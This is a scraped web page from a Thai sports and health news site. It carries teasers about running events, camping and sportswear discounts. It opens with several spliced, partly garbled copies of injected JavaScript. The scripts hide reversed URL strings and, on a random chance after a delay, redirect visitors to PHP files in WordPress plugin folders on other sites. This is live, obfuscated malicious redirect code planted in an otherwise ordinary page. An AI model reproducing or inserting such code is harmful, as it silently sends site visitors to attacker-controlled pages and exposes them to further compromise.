{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andrew-gook-VRLHw_rBjIw-unsplash-360x180.jpg)
© 2014STEP EXTRA
ข่าวสารและบทความล่าสุด
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
“ไฮเออร์” เตรียมจัดงานวิ่ง Haier Run 2023 Inspire Future Dreams ฉลองครบรอบ 21 ปี ไฮเออร์ (ประเทศไทย) ณ บางกอกเวิลด์และสยามอะเมซิ่งพาร์ค 21 พฤษภาคม 2566 วันที่ 2 พ.ค. 66 – ไฮเออร์ (Haier) ผู้นำด้านผลิตภัณฑ์และนวัตกรรมเครื่องใช้ไฟฟ้าระดับโลก และแบรนด์เครื่องใช้ไฟฟ้าภายในบ้านอันดับ 1 ของโลกติดต่อกัน 14 ปีซ้อน...
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
บริษัท เอ็ม วิชั่น จำกัด (มหาชน) เข้าร่วมจัดงาน วิ่งโครงการ สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36 Challenge of the Legend ชิงถ้วยพระราชทานสมเด็จพระกนิษฐาธิราชเจ้า กรมสมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี โดยมหาวิทยาลัยราชภัฏหมู่บ้านจอมบึง มูลนิธิวิทยาลัยหมู่บ้านจอมบึง สมาคมศิษย์เก่ามหาวิทยาลัยราชภัฏหมู่บ้านจอมบึง คณะกรรมการส่งสริมกิจการมหาวิทยาลัยราชภัฏหมู่บ้านจอมบึง จังหวัดราชบุรี อำเภอจอมบึง สถานีตำรวจภูธรจอมบึง โรงพยาบาลสมเด็จพระยุพราชจอมบึง ผู้นำท้องที่ ท้องถิ่นและประชาชนในเขตตำบลจอมบึง ตำบลเบิกไพร ตำบลแก้มอ้น...
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
กลับมาอีกครั้งกับกิจกรรมท่องเที่ยวแนวใหม่แบบปลอดภัย เว้นระยะห่างแบบมีความสุข การท่องเที่ยวแห่งประเทศไทย ชวนชาวแคมป์ มากางเต้นท์ นอนรถบ้าน สไตล์แคมป์ปิ้งท่ามกลางหุบเขาเคล้าเสียงเพลงจากศิลปิน เขียนไขและวานิช , ชาติ สุชาติ ชิลไปกับบรรยากาศและสายลม เพลินๆกับกิจกรรมเอ้าท์ดอร์แบบชาวแคมป์ อาทิ-โยคะ-ทำเสื้อแคมป์ผ้ามัดย้อม-ยิงธนู พร้อมนั่งจิบ ชิม เมนูอาหาร และเลือกช้อปสินค้าท้องถิ่นจากชุมชน เตรียมตัวกันไว้ให้พร้อม 13 - 14 มีนาคมนี้แล้ว ณ ศูนย์การเรียนรู้การท่องเที่ยวเชิงนิเวศ (ททท.) อำเภอปากช่อง จังหวัดนครราชสีมา ***สำหรับชาวแคมป์ที่จะมาร่วมงานอย่าลืมสวมหน้ากาก ล้างมือบ่อยๆ...
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
Nike จัดโปรโมชันลดราคาสินค้าสำหรับผู้หญิง 30% บนเว็บไซต์ nike.com เพียงกรอกโค้ด MOM30 ในหน้าชำระเงิน โดยจัดโปรโมชันวันนี้ - 10 พฤษภาคมนี้
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้
อาดิดาส จัดโปรโมชั่นสุดร้อนแรงให้กับผู้รักการออกกำลังกาย ลด 30% สินค้าปกติ และ 50% สินค้าลดราคาบนเว็บไซต์ของอาดิดาส ประเทศไทย ตั้งแต่วันนี้ - 30 เมษายนนี้
5 ข้อที่นักวิ่งควรหลีกเลี่ยงหลังจบการวิ่ง
นักวิ่งหลายคนมักมองข้ามความสำคัญของการ Recovery หลังจากจบการวิ่ง
STEP EXTRA
Run more, Spin More
เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา